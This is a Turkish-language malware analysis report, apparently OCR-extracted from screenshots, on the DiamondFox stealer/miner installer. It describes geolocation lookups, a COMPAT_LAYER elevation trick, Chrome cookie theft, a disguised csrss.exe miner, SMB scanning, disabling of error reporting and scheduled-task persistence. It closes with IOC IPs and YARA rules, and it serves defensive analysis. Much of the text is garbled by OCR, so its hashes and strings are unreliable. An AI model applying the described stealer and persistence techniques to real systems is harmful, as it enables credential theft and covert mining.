
&N C:\Wmdows\sy;tamil\cmd.axe

Microsoft Windows [Siiriim 6.1.76011
Telif Hakki <(c) 2039 I‘In:ru..uft Corporation. Tiim haklari sakladar.

\Usersizorro>C:\UsersizorrosDesktoprcsrssigetfp. exe
chrome: C:\Program Files\Google~ChromeApplication\chrome.exe
29218724 83:50 ne

C:\Usersszorror.,

Binance X @ humisnee.com|502 Bad gatews X | +

(o= s

Box
v

Name
B ProcessHacker.oxe
3% 32dbg.exe
=7 sonia d.exe
W idacce
4 2] gozmon.exe
27 gozmonbl.ee
4[] jusched.exe

jucheck.exe

BINANCE

lea ecx dword
push e

push e

€all esi

mov dword
mov
mov
mov
mov
mov

dword ptr

ip-api.com "a baglanip gesitli bilgileri aliyor.

601 00 v byte pir 1,0
£8'Desosrre | EalN Sonia . 208170

D85 CAFEFFFF| s5:ebf [
Ce45 FC 0D

50 B
SDaD 14FBFFFF

eax: a”{\"status\"

push eax
Tea edx,dword per d
Tea ecx,
@n som

by [ebp-9C] : "{\"statu:

D& 14FBEFFE| - 4EC] :L"htep:

country’

Turkey\", \"cou

“Turkey'

country Turkey\",

-b2bb3c78610a&browser=chrome

inHTTpCONNect:

/base/api

/getData. php!

0.11.41/base/api /getbata. php"

b sonia_4.21028C

emp eax,
ja_sonia_4.214040
push edx

mov ecx,dword ptr dsi[e
add

countryg

edx:&"{\"status success: Turkey

countryc
v

country\":

edx:&"{\"sTatus\":\"success’ Turkey

=0040F
srd per

Es &"{\"Status\":\"succe:
fep-sC1Z[o040rsEs &1\ stat

NN
cess

X£100210263 50nia_s. eXe:$10283 #F683

S &t

AN NN NN VAT
- T

7T egionName) i\ "Ank
PV T count egioni”:\"08 re

44 Dskim3

i Dskoma | 4 pokoms

vl Yerel Degiskenler | . Yap |

Ypskim1 | U Dokum2
=3

SUCCEsS\",\"CoUntry\"" ode

TTurkey\",\"country

egionnane\’

=) - Sysintema

File Edit Event Filter

sHABR 7 A

Tools

Options _ Help

@B & 5| ZELLZm

Frocess N

Tsonia_t exe

PID  Operation

1944 g4 TCP Receive
1864 &4 TCF Receive

Path
WIN-LTKDN75P 80 Jocaldomain:63233 -> ip-api.com htip-
WIN-CTKDN73P 804 Jocaldomain:63233 - ip-api.com fip
WIN-LKDN73P 804 Jocaldomain:53233 - fp-api com http.
W/IN-LTKDN73P 804 Jocaldomain:63238 - ip-api com fitp

Resut Detail

SUCCESS
SUCCESS
SUCCESS

Length: 0, mss:
Length: 438, tati
Length: 462, seqn
Length: 0. seqnur

Shrwinn 1 40 of RS 707 aviante 0

20 o

3e48Fe D 98

01 00
16 0E




Compact_Layer

Yonetici hakki istemeden yonetici olarak galismasi igin compat_layer yapisini kullaniyor.

test esi,100

push es
push dword ptr ss:
push dword ptr

push dword ptr

cmp dword ptr s
jne kernel3z.75

j1 kerneizz.75DBOESE
jne kernel32.75DCDEBY
test dword ptr ss:[ebp+icl,§
je kernel3z.75DBIES4

Bebp+18]
Eeop+38ll [[ebp+3s]:L"_ COMPAT_LAYER=VistaSetup

mov eax,dword ptr ss:[ebp-4]

=

curl_easy setopt

Curl_easy_setopt ile libcurl.dll inin davranisini galismasini diizenler

]:L"__COMPAT_LAYER=V

\setup_install

.exe

libcurl'a nasil davranacagini soylemek icin kullanilir. Uygun secenekleri ayarlayarak uygulama,
libcurl'un davranisini degistirir.

8846 10
H

0385 49050000
B8

B8B7E 10

A
03BD 49050000
B

B
=1
bl
@
-

AZ0DD0O0DO
F7C3 00000080

i
~

81E3 FFFFFFTF

FFBS 45050000

mov eax,dword ptr
test eax,eax

ine setup_install.

mov eax,dword ptr
add eax,edx

add eax,dword ptr ss

mov ebx,dword ptr
mov edi,dword ptr

o
m
a

a edx
add edi,dword ptr
test ebx,ebx

je setup_install.siD384

test ebx, 30000000

jne setup_install.51D2EE
e

add ebx,edx
inc ebx
inc ebx
push ebx

and ebx,7F

ush ebx

p! e
push dword ptr ss:febp+s

EAX  0O051BOFS
EEX 0051B142
ECX 77883000
EDX 00400000
EEF  0051D013
ESP  0D2EFFES
ESI  0051E048
EDI  0O0S1EOFS
EIP  0051D2F5
EFLAGS

ZF 0 PF 1

OF 0 SF O DFO
€F 0 TFO
LastError

00000206
AF 0

IF 1

setup_install.o051BOFS
“curl sy_setopt™
ntd11.77883000
setup_install.n0400000
setup_install.o051D013
&"curl_easy_setopt"
setup_install.0o051B048
setup_install.DO51BOFE

setup_install.0051D2F5

00000000 (ERROR_SUCCESS)

m

Varsayllan (stdcall)

'] 5 & [ iltsiz

ebx=0051B142 "curl_easy_setopt"

1: [esp+4] 00000000
2 esp+3] 00000000
3 esp- D02BFF94
4: [esp+10] 00z8FFaC




pthread_cond broadcast

Pthread_cond_broadcast () islevi, su anda belirtilen durum degiskeni bloke bitin konulari blokesini
kaldirmak icin kullaniimistir.

4
|

TS 1 hov sax Gword prr Hsiles ||| EBX  LUSIBIeA ~pTNrean_cono_broancast
03c2 add eax,edx EE pononbn -
0385 49050000| add cax | dword EDX 00400000 setup_install.00400000
BE1S mov ebx,dword ebx: "pthread_cond_broadcast" EEP  0051D013 setup_install.oos1D013
8BTE 10 mov edi,dword ESP 0D028FF64 &"pthread_cond_broadcast”
03FA add edi,edx ESI  0D051B070 setup_install. 00518070
03ED 43050000(add edi,dword EDI 0051E108 setup_install.0051E108
85DB test ebx,ebx ebx:"pthread_cond_broadcast”
~ OF84 A2000000|je setup_ i i EIP 0051D2F6 setup_install.0051D2F6
F7C3 00000080( test ebx,S0000000 ebx:"pthread_cond_broadcast!
v 75 04 jne setup_install.51D2EE EFLAGS 00000206
SgDA add ebx, edx ZF D PF 1 AF O
43 OF 0 SF 0 DF O
e B CFo TFO IF1
B1EZ FFFFFFTF
53 LastError 00000000 (ERROR_SUCCESS)
FFBS 45050000| push dword ptr ss:[ebp+s 1
FF35 430F0000| €alll dword ptr ss:[ebp+F 2 - i
= 2 Lebp L varsaylan {stdcall) '] 5 2] [ kiitsiz

Inno Setup

Inno Setup yikleyicisinin iki islemi vardir. Birincil stireg gizli bir stirectir. Gergek alt yiikleyiciyi gegici
bir klasére cikarir ve yuritir (gerekirse Yonetici ayricaliklarina yikselterek).

4% sonia_5.exe - PID: 1B10 - Modiil: sonia_5.exe - Thread: Ana Islem 184C - x32dbg
Dosya Gorinim Debug Iz Eklentler SkKulanianlar Secenekler Yardm  Feb 112020

DE il ¥ 9§ ¢l & =K # s EBP

B cru ‘ & Grafik | | Ganlik I [ Motlar I ® Kesme Noktalan I 8 Hafiza I ) vigin Cagnlan | =% seH I |¢2| Komut Dosyas:
EA HBB1- MOV _edx,=onia_5. 058188 A0E188:"INND Setup Setup Data (5.5.7)"

B9 40000000 mov ecx,40 o:'e’

E8 C27FFFFF| €all sonia_5.40270C

v 74 05 je_somia_5.40A751
£8 97F3FFFF| Eall sonia_t.409AE8
33C0 xor eax,eax eax:"Inno Setup Setup Data (5.5.7)"
55 push ebp
68 1EAB4000| push sonia 5.4
64:FF30 push dword ptr
64 mov dword ptr

6858704000 push sonia 5.

Command line: "C:\Users\zorro\AppData\Local\Temp\is-4GL93.tmp\sonia_5.tmp"
/SL5="$5B0346,506127,422400,C:\Users\zorro\Desktop\210703-
g9ppb8b36j_pw_infected\viirlis\setup_installer\sonia_5.exe

- ozwa L P e Tt = T
. €645 D8 00 |mov byte ptr ss:iffeb s,0

. 8D55 C4 lea edx,dword ptr ss:|[lebp-3

. B9 02000000 mov eCx

L] B8 10AD4000{ mov_eax,sonia_5.40AD10 eax:&"/5L5=""$5B0346,506127 Z400,", 40AD10:"/SL5="""$%x,%d,%d,"
. ES 35AGFFFF|Eall sonia_5.405194

. 8D45 FO lea eax,dword ptr ss:|[lebp-i{[ebp-10]:"/SL5=\"%$5B0345,50612 >2400, "

L]

L]

8B15 2CCE40{mov edx,dword ptr ds:[40CE2
co AnssEes

ocorceccl radl camdia ©

L 2




Cookie Calma

11111.exe direkt chrome cookielerine erisip bunlari galmaktadir.

Edge icin de fug3g.gg.exe ‘yi kullanmistir.

Doya

m Gorumum Yardm
 Netscape WTTP Cookle File

. ~ 145 = s asde . s e
e SORENE e
e o’ Sofsesaiondt 67 Faasbacese97e547d1817840c9
| n 072021 3545647001 62183896
e Hahgats e
FASAPIDebugloghlett oc qf::;ﬁr‘v:wmmm;,n ADAMDBOS A
oot et e
BT W aiveeween
Fogis.sadg Sofa S0 Fscelnano, 1easecnes

TDalsweravoz st 1163560266210, 1625602600, 32
et oA 67

m 1625602

. - S
H v : L .
ot e 36
e  Procentckecare 1 N
L ] 8 x2dbg e 161
o ST sasruesenas2serzechzseiot
. 2 ocem
. s S0085630 1szeomanns
H ; e 16 CGnepucoL eLapi9 cT Gty by crbascey
. search TALS 5 4
. CIEY Tk A @ vy e el

°
H
4

3AR 2021-07-2
fese ieaisnio cadovadcSodetssrcoxpv2rOmduL Shodet s hEbCnOH
150606 90300000Y0- D403 9.0-0-€143ed0:Chnsiodron
85:

~ TRUE
e — compler.
TRUE

Pye
° akjbese 6Fa7Sapacioozercenood s 20000000
110-cF39304b10BAFDaBT ef <! 21078N=48 U=
® PR
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CSrsS.exe

C:\Users\%username%\AppData\Local\Temp\csrss’ de ki dosyalarin hepsi csrss.exe altinda calisir.

Mame PI CPU IO

4 CSI55,EXE 2920 0,01
87 injector.exe 10768 0,13
] ww3l.exe 1596 7,54
2] mg20201223-1.exe 18068 0,55
B mI20201223.exe §120 832
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ee.exe / zz.exe

ee.exe ve zz.exe olarak csrss de ¢alisan exeler aslinda gminer v2.54 tir

gminer, her cihaz icin ayrintili bilgilerin gérintilenmesi (sicaklik, gig tiiketimi, sogutucu yiikd, bellek
frekansi, islemci frekansi, enerji verimliligi) saglar.

ner v2._ 54

fillowed option
=h [ —hel display this message
—v [ —version 1 rint program version
lay available GPUs
aryg nining algorithm
» 1 arg ratum server address
1 arg ratun server

arg
arg
* stratum connection
1 verification arg enablesdisable certificates verification
for ssl stratum connection
—proto aryg stratum protocol: proxy or stratum
—worker arg worker name for Ethash strarum. for pools
that does not supoort wallet.worker
—d [ —devices 1 arg space—separated list of devices
—i [ —intensity 1 arg space—separated list of intensities {1-188>

getdiskspace.exe
Disk alanlari hakkinda bilgi verir

sersszorro *CisUsersszorro~Desktopscasrsshgetdiskspace ..exe
sA?724 B3:53:83 drives [A:s Gz Disd
s/B7-24 B3:5%3:83 drive A:N
sA7-24 B3:53:83 drive C:on
B3:53:83 drive D:x
A3:53:83 filtered drives [C:x]
B3:5%3:83 drive C:% total 64422488192 free 37133561856
A3:53:83 URL ~apisspace?uuid= data [{"drive'":"C:*\"."total:6442240881
2, 2371335618563 1
210724 B3:53:83 failed to post disk space: Post AapisspaceTuuid=: unsupporte
protocol scheme "'
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smbscanlocal10906.exe

Csrss ye drop ettigi smbscanlocal10906.exe ile olasi zafiyet taramasi yapmis ve zafiyet bulamamistir

C:vwlsersszorrorCislszersszorrosDesktopscsrsssambscan local3986 . exe

no vulnerable hosts found

Cislzersszorrol

Kayit Defterinden Error Reporting Disable Etmesi

El
m . ol Kayit Defteri Didzenleyicisi = |3 [=
Dosya Dizen Goranim Sk Kullanilanlar  Yardim
oo BASARLL..
: HTML Help = || ad Tar Veri "
reackda
18 Process Hacker [WIN-L1 b Trstorage 8] (Varsayilan) REG_SZ (deger atann|
acker View Tosle U > ). SeriptedDisgnosticsProvider T Disabe REG.DWORD 0000001 (| e
% Refresh {3 Options | TebletPC
= Windows Error Reporting DWORD (32 bit) Degerini Diizenle =
Processes | Senvices | Netw
Debug _—
Mame i HeapControlledList e
8 winlogon.exe i i) RuntimeExceptionHelperModules =0
45 explorerexe Pk WMR Deger veris: Taban
= wintoolservice.q Windows Search [1] @ Orakilk 04046
& wintools4.exe :xf":“"‘“g*:dﬂs \ Ondalk
P WlndnwsMas‘ op Searc| s )
indows Mai PR
”soma_s‘exa Tz iptal
Bilgisayar\ HKEV_LOCAL_MACHINE\SOFTWARE\Wow6432Node\ Microsoft Windows\Wind =
W idnexe
i
£ Process Monitor - C:A\Users\zorro\Desktop\ ToolBag\Sandbox\Noriben_23_Jul_21_04_51_177909.pml = (& ][22 ] [{esp+a1 60000606
[esp+8] FTEFDEODO
File Edit Event Filter Tools Options Help [esp+c] 00000003
= ESpflU 00000000
s ABElvAS B M5 ([EBAZE [esp+14] 0023300 "07,"
Time ... Process Name PID Operation Path Resut  Defal B
2318 #sonia_bexe 3904 @ReqOpenKey HKLM\SoftwarsWow6432Nods"MicrosoftWindows\Windows Eror Reporting\WMR SUCCESS Desired Accsss: Query Valus
2318 #sonia_b.exe 3904 @ RegSetinfoKey HKLM\SOFTWARE\WowB432Node \Microsoft\Windows\Windows Emor Reporting\WHA SUCCESS KeySetnfomationClass: KeySetHan ~
23.18... Bsonia_bexe 3904 #%RegQuenyValue HKLM\SOFTWARE\Wow432Node \Microsot Wiindows \Windows Eror Reporting\WMR\Disable SUCCESS Type: REG_DWORD, Length: 4, D
2315 #sonia_Bexe 3904 @ RegCioseKey HKLIM\SOFTWARE\Wow6422Node\Wcrosol Wiindows Windows Ercr Reportng WIHR SUCCESS
PR i i s B A . iyt P

I0Cs

185.215.113.62:51929 162.159.133.233 172.67.191.67 104.21.76.97

136.144.41.201 185.20.227.194 185.183.96.53 52.219.156.38
116.202.183.50 74.114.154.18 159.65.63.164 172.67.171.54
148.92.218.88 172.67.201.250 144.202.76.47 212.86.115.78
34.117.59.81:443 34.98.75.36 172.67.199.231 62.233.121.32

2.56.59.245 143.204.98.78 103.155.92.96 111.90.146.149

176.111.254:56328 172.67.186.35 45.139.184.124 95.216.46.125

y
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Zamanlanmis Gorev

Zamanlanmis gérev olusturup zaman zaman owegj.exe ‘yi calistirir bunun yani sira csrss.exe ‘yi ve bir
cok exe’yi zamanlanmis gorevlere ekler.

a8 sychost.exe 834 16,62 MB Windows Hizmetleri igin Ana ...
47 | taskeng.exe 1704 172 MB  WIN-CEYN\zorro Gorev Zamanlayicl Alt Yapisi
= | owegj.exe 1768 14,32 MB  WIN-CEYN\zorro
57 taskeng.exe 1796 1,68 MB WIN-CEYM\zorro Garev Zamanlayici Alt Yapisi

Chrome Arka Planda Gizlice Bilgi Hirsizligl Yapmasi

Chrome arka planda gizlice calisirken bilgi almak igin izin istemektedir.

4 G chrome.exe 2272 69,05 1393 kB/s 47,06 MB Google Chrome
G chrome.exe 3680 2,38 MB  WIN-L1KDN79P80M\zorre  Google Chrome
G chreme.exe 3976 8,55 MB  WIN-L1KDN79P80M\zerre  Google Chreme
. il
<. Etkilesimli Hizmetler Algilamasi ==

Bu bilgisayarda galisan program bir ileti gérintllemeye
calisiyor
Program sizden bilgi almaya veya gorevi tamamlamak igin izninize gereksinim

duyabilir.
Bu neden olugsuyor?

S lletiyi gériinttile

< Daha Sonra Sor

v Program gynntilanini goster

@ - O € U P =
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Java

Base64 ile kodlanmis java igin komut satiri gorilyoruz.

"C:\Program Files\Java\jre1.8.0_281\bin\jp2launcher.exe" -secure -javaws -jre "C:\Program Files\Java\jre1.8.0_281" -vma
LWNsYXNzcGF0aABDOIxQcm9IncmFtIEZpbGVzXEphdmFcan)IMS44LjBfMjgxXGxpYIxkZXBsb3kuamFyAC1EamF2YS5zZWN1c
ml0eS5wb2xpY3k9ZmIsZTpDOIxQcm9IncmFtIEZpbGVzXEphdmFcan)IMS44LjBfMjgxXGxpYIxzZWN1cml0eVxqYXZhd3MucG9s
aWN5AC1EdHJ1c3RQcmM94eT10cnVIAC1YdmVyaWZ50n]IbW90ZQAtRGpubHB4LmhvbWU9QzpcUHJVvZ3JhbSBGaWxIc1xKYX
ZhXGpyZTEuOC4wXzI4MVxiaW4ALURQYXZhLnNIY3VyaXR5Lm1hbmFnZXIALURzdW4uYXdOLndhcm11cD10cnVIAC1YYm9vdG
NsYXNzcGF0aC9hOkM6XFByb2dyYWOgRmIsZXNcSmF2YVxqecmUxLjguMF8yODFcbGliXGphdmF3cy5qYXI7QzpcUHJIvZ3JhbSB
GaWxIlc1xKYXZhXGpyZTEuOC4wXzl4MVxsaWJcZGVwbGI5LmphcjtDOIxQcm9IncmFtIEZpbGVzXEphdmFcanlIMS44LjBfMjgxX
GxpYIxwbHVnaW4uamFyAC1EamRrLmRpc2FibGVMYXNOVXNhZ2VUcmFja2luZz10cnVIAC1Eam5scHguanZtPUM6XFByb2dyY
WOgRmMISZXNcSMF2YVxqecmUxLjguMF8yODFcYmIuXGphdmF3LmV4ZQAtRGpubHBALNZtYXIncz1MVVIxWkdzdVpHbHpZV0pz
WIV4aGMzUIZjMkZuWIZSeVIXTnJhVzVuUFhSeWRXVUE= -ma LVNTVkJhc2VsaW5IVXBkYXRIAC1ub3RXZWIKYXZh

Decode edilmis hali.

"C:\Program Files\Java\jre1.8.0_281\bin\jp2launcher.exe" -secure -javaws -jre "C:\Program Files\Java\jre1.8.0_281" -vma -
classpathC:\Program Files\Java\jre1.8.0_281\lib\deploy.jar-Djava.security.policy=file:C:\Program
Files\Java\jre1.8.0_281\lib\security\javaws.policy-DtrustProxy=true-Xverify:remote-Djnlpx.home=C:\Program
Files\Java\jre1.8.0_281\bin-Djava.security.manager-Dsun.awt.warmup=true-Xbootclasspath/a:C:\Program
Files\Java\jre1.8.0_281\lib\javaws.jar;C:\Program Files\Java\jre1.8.0_281\lib\deploy.jar;C:\Program
Files\Java\jre1.8.0_281\lib\plugin.jar-Djdk.disableLastUsageTracking=true-Djnlpx.jvm=C:\Program
Files\Java\jre1.8.0_281\bin\javaw.exe-Djnlpx.vmargs= -Djdk.disableLastUsageTracking=true -ma -SSVBaselineUpdate-
notWeblJava
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Cozum Onerileri

Sistem Uzerinde en az 1 tane giincel ve glivenilir antivirts yazilimi bulundurulmal.

Bilinmeyen adreslerden gelen e-postalar okunurken dikkat edilmeli e-posta iceriginde bir ek
bulunuyorsa bu ek agilmadan 6nce virlis taramasindan gegcirilmeli.

Spam e-postalar agilmamali.

Eger bir sirket bilgisayari ise bilgisayar Gzerinde EDR sistemi bulundurulmal.

Ag Uzerinde zararli baglanti ve IP adreslerine filtreleme yapilmali bu IP adreslerine erisim engellenmeli.

isletim sistemi daima giincel tutulmali.
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Yara kurali

import "hash"
rule md5_hash_diamondfox
{
meta:
author =" ABDULSAMET AKINCI - ZAYOTEM "
description = "diamondfox"
first_date="03.07.2021"
report_date="27.07.2021"
file_name="x86_64setup.exe"
strings:
Sb="bf796dca0c45920e180ac8b9298f8a01"
Sc="8ed9fc32d350c4b26eb9064fd43cf06a"
$a="9e285901af26b01bafe9afb312620887"
$d="6e487aalb2d2b9ef05073¢c115729252"
Se="5463ae9cd89ba5a886073f03clecbble"
$f="a2d08ecb52301€2a0c90527443431e13"
Sg="dd78b03428b99368906fe62fc46aaafldb07a8b9"
Sh="8c4df9d37195987ede03bf8adb495686"
$j="f00d26715ea4204e39ac326f5fe7d02f"
Sk="a73c42ca8cdc50ffefdd313e2badd423"
SI="dd0b8a5769181fe9fd4c57098b9b62bd"
Sm="3e2c8ab8ed50cf8e9a4fe433965e8f60"
Sn="881241cb894d3b6c528302edc4f41fal"
condition:

Sa or Sb or Sc or $d or Se or $f or Sg or Sh or §j or Sk or Sl or Sm or $n

y
Ve

e e —
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import "hash"
rule strings_diamondfox

{

meta:

author = "ABDULSAMET AKINCI - ZAYOTEM"
description = "diamondfox"
first_date="03.07.2021"
report_date="27.07.2021"

file_name="x86_64setup.exe"

strings:

Sb="sonia"
Sc="setup_installer"
Sa="setup_install.exe"
$d="libcurlpp.dIl"
Se="libcurl.dll"
Sf="setopt"
Sg="compact_layer"

Sh="inno setup"

Sj="pthread_cond_broadcast"

condition:

Sa or Sb or Sc or Sd or Se or $f or Sh or Sjor Sg

y
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ABDULSAMET AKINCI

https://www.linkedin.com/in/samoceyn/



https://www.linkedin.com/in/samoceyn/

